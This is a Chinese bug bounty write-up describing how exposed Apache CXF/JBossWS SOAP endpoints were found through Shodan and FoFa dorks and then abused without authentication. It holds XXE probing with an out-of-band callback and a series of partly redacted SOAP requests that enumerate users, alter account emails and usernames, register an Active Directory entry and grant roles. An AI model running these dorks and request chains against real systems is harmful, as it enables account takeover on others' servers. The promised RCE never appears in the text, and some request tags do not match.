前言
说到现代 Web 技术, SOAP (Simple Object Access Protocol))可能并非你首先想到的。它是一种相对老的协议,在如今的应用中,常常被 REST、GraphQL 和 gRPC 替代。
然而,由于它正在逐渐成为一项遗留技术,同时也是一个被忽视的攻击面——对于赏金猎人来说,它就像一座“隐藏的金矿”。
今天跟大家分享一个如何从一个小发现升级为全面远程代码执行 (RCE) 漏洞的故事。
寻找目标
白帽小哥利用 Shodan、 FoFa 以及 Google Dorks 定制了一套 SOAP 相关的查询。
小哥重点关注在可能配置错误的服务器 — — 例如,那些暴露 Apache CXF 默认服务列表页面的服务器。
利用 ChatGPT,设计了如下一些查询:
body="soap:Envelope"
header="Content-Type: text/xml"
protocol="soap"
body="soapAction"
http.headers.content-type:"application/soap+xml"
http.html:"wsdl:definitions"
product:"Microsoft SOAP Toolkit"
product:"Apache Axis"
结合 Dork 和过滤器,成功发现几个实例,白帽小哥将结果复制到 Excel 文件中,并按 IP、服务、域名、国家/地区和其它属性进行排序。
然后,执行 IPWhois 查询 ,并使用 FoFa 来识别组织。大约30分钟的分析,一个组织名称引起了白帽小哥的注意——只需在浏览器中访问它,就会发现一条意想不到的有趣线索。
打开 URL 后,会显示一个可公开访问的 CXF 服务列表页面——这是暴露 SOAP 接口的典型标志,而且有趣的是,它还暴露了 Apache JBossWS 服务端点——它处于活跃状态,并且暴露于公网。更棒的是——它提供了完整的 CXF 服务列表,其中包含可供调用的操作。
经典的 CXF 服务页面,列出多个可用的 SOAP 服务,例如:
1. getA**In****o
2. sendDocument
3. getxxxxxxxResponse
4. searchxxxxxx
5. FormResponsexxxxxx
6. getHeartBeat
7. getMessageTraffic
8. getMonitorVersion
9. Ann**l****Modi****
10. Con*********e
11. Mod********y
12. InsertInActiveDirectory
13. Elimina*****ActiveDirectory
14. Res**Email
15. id****
发现端点
访问端点 https://target.com/jbossws/services 后,返回了一个 HTML 页面,其中列出了服务绑定及其 WSDL 链接,典型的配置错误!
通过以下方式访问 WSDL:
curl -k https://target.com/***/*******wsdl
返回了一个包含数百个操作完整详细的 XML 定义,如下图所示,没有身份验证、没有令牌、没有头…
XXE 枚举
通过访问未经身份验证的 SOAP 方法,白帽小哥第一个目标便是枚举内部用户并确认后端交互。
发现敏感用户信息
由于有方法可以读取用户电子邮件、用户名等,白帽小哥开始使用以下方法 SOAP POST 请求测试 Re***Email :
POST /***/****/****/**finance_users/ HTTP/1.1
Host: target.com
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://***.***/">
<soapenv:Header/>
<soapenv:Body>
<web:Re***Email>
<id***>242</id***>
</web:Re***Email>
</soapenv:Body>
</soapenv:Envelope>
确认响应,如果用户存在,即使是任意 ID(如 242)也会返回有效数据:
HTTP/1.1 200 OK
Date: Fri, 25 Apr 2025 12:27:49 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
X-Powered-By: ***
Content-Type: text/xml;charset=UTF-8
*****
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'
X-Content-Security-Policy: default-src 'self'
X-WebKit-CSP: default-src 'self'
Content-Length: 271
<env:Envelope xmlns:env='http://schemas.xmlsoap.org/soap/envelope/'><env:Header></env:Header><env:Body><**:**e xmlns:ns2="http://**.**/"><return>**@***</return></**:***Email**></env:Body></env:Envelope>
使用 RealSername 显示的类似请求显示了内部用户名 – 注意Th1 ID1 = admin
POST /**/***/*** HTTP/1.1
Host: sub.domain.main-domain.com
Content-Type: text/xml; charset=utf-8
Content-Length: 337
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://***.***/">
<soapenv:Header/>
<soapenv:Body>
<web:ReadUserName>
<id***>1</id***>
</web:ReadUserName>
</soapenv:Body>
</soapenv:Envelope>
上述完全未经身份验证就可以请求允许枚举用户、确认哪些 ID 有效以及检索电子邮件地址。
XXE 线索
在注意到简单的 SOAP 方法无需授权即可运行之后,白帽小哥开始好奇——这个系统背后的 XML 解析器是怎样的?
于是白帽小哥编写了一个用来测试本地文件读取功能,在 sName 字段(用于 I***Nome 函数)中,注入了以下内容:
响应内容:
<faultstring>\etc \ hostname </faultstring>
没有显示任何内容,但文件名本身被回显了。这是 XML 解析器处理 DTD 但不返回内容的典型行为。换句话说: 解析器接受了 XXE Payload,但没有回显文件内容 ,可能是由于 catch 块或严格的 SOAP 错误处理造成的。无论如何,这足以证实存在 XXE 行为。
利用 DNS 进行 XXE 盲注
为了进一步证实这一点,白帽小哥尝试通过 DNS 进行带外 XXE(OOB-XXE),利用 Burp Collaborator 并注入了以下 payload:
Burp Collaborator 上成功收到 ping 消息,后端成功获取了恶意 DTD,确认 XXE 盲注攻击可行。
这一步至关重要。它告诉我们后端 Java 服务可以:
-
解析 XML 而不禁用外部实体加载
-
即使文件内容没有直接返回,也会执行 DTD 引用
-
易受到盲注(如 DNS 或基于 HTTP 的回调)的攻击
从枚举到利用
- 首先与
I***Email
函数进行交互,白帽小哥在枚举中找到了该方法,它允许设置或修改任何用户帐户的电子邮件地址。无需令牌,无需会话,只有纯粹的基于 SOAP 的逻辑。
POST /***/**/** HTTP/1.1
Host: target.com
Content-Type: text/xml; charset=utf-8
Content-Length: 401
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://**.**/">
<soapenv:Header/>
<soapenv:Body>
<web:I***Email>
<id***>999</id***>
<***Email>[email protected]</***Email>
<tokenWebLogon></tokenWebLogon>
</web:Imp***Email>
</soapenv:Body>
</soapenv:Envelope>
响应:
<return>true</return>
- 篡改用户名
设置完电子邮件后,下一步就是设置用户名——一个对身份至关重要的参数。通过使用 SetNserName
为目标 ID 设置了一个干净的用户名。
<web:SetUserName>
<id***e>999</id***e>
<s***e>admin_takeover</s**e>
<tokenWebLogon></tokenWebLogon>
</web:ImpostaNomeUtente>
提权
现在我们有了一个合法用户,尝试提升权限,在 WSDL 中发现了几个可能有用的操作:
Modi***ActiveDirectory
SynchronizeSID
SetProfessionalFunctions
Active Directory Entry
该方法似乎与 AD 中的用户创建过程类似,并带有 ***Crea***=true
标志,根据我们的用户 ID( 999 )进行测试,并得到了肯定的确认。
POST /**/**/** HTTP/1.1
Host: target.com
Content-Type: text/xml; charset=utf-8
Content-Length: 397
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://**.**/">
<soapenv:Header/>
<soapenv:Body>
<web:Mo***ActiveDirectory>
<id**>999</id**>
<**Cr**>true</**bC**>
<tokenWebLogon></tokenWebLogon>
</web:Mo***ActiveDirectory>
</soapenv:Body>
</soapenv:Envelope>
这意味着后端确认并可能在 Active Directory 中注册了我们的用户(id:999)。
分配权限
SetProfessionalFunction
函数接受一个用户 ID 和一 组角色 ID 列表( iFun1 到 iFun4 )。我们将它们全部设置为 1。
POST /***/***/*** HTTP/1.1
Host: target.com
Content-Type: text/xml; charset=utf-8
Content-Length: 465
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://**.**/">
<soapenv:Header/>
<soapenv:Body>
<web:I***li>
<i**>999</***>
<i**>1</i**>
<i**>1</i**>
<i**3>1</i**3>
<i**>1</i**4>
</web:I***i>
</soapenv:Body>
</soapenv:Envelope>
同步
利用SynchronizeSID
触发 SID 同步,它通常用于企业环境中在系统之间传播用户属性。
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://**.***/">
<soapenv:Header/>
<soapenv:Body>
<web:SynchronizeSID>
<sUserName>admin_***</sUserName>
<tokenWebLogon></tokenWebLogon>
</web:SynchronizeSID>
</soapenv:Body>
</soapenv:Envelope>
此时,我 们已经在系统中创建了一个完全特权的用户帐户 ,并在目录服务上完成最终确定——所有这些都是未经身份验证的 。
你学到了么?